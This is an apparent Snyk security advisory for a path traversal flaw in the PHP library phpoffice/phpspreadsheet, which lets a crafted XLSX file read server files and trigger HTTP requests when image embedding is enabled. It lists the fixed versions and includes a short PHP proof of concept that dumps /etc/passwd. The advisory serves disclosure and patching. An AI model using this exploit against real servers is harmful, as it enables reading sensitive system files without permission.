Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade phpoffice/phpspreadsheet
to version 1.29.2, 2.1.1, 2.3.0 or higher.
phpoffice/phpspreadsheet is a Spreadsheet engine that Read, Create and Write Spreadsheet documents in PHP .
Affected versions of this package are vulnerable to Absolute Path Traversal via the HTML writer process when embedding images. An attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests by constructing an XLSX file that links images from arbitrary paths or URLs, which are then included in the output as data:
URLs.
Note:
This is only exploitable if the $writer->setEmbedImages(true);
setting is enabled.
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();
// The below is just for demo purposes
$pattern = '/data:;base64,(?<data>[^"]+)/i';
preg_match_all($pattern, $output, $matches);
print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));
print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));